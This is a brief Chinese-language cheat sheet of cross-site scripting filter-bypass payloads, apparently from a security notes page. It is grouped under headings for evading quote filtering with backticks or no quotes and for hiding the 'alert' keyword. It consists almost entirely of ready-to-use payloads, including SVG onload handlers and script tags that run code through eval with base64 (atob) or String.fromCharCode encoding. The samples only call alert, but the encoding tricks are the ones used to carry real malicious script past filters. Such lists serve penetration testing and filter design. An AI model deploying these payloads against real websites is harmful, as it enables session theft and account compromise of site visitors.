引号绕过

反引号

原payload

1
2
3
<svg onload=alert('xss')>

<svg onload=alert("xss")>

绕过payload

1
<svg onload=alert(`xss`)>

不使用引号

原payload

1
2
3
<svg onload=alert('xss')>

<svg onload=alert("xss")>

绕过payload

1
<script>alert(123)</script>

关键字绕过

alert绕过

1
<script>eval(atob`YWxlcnQoMSk=`)</script>
1
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>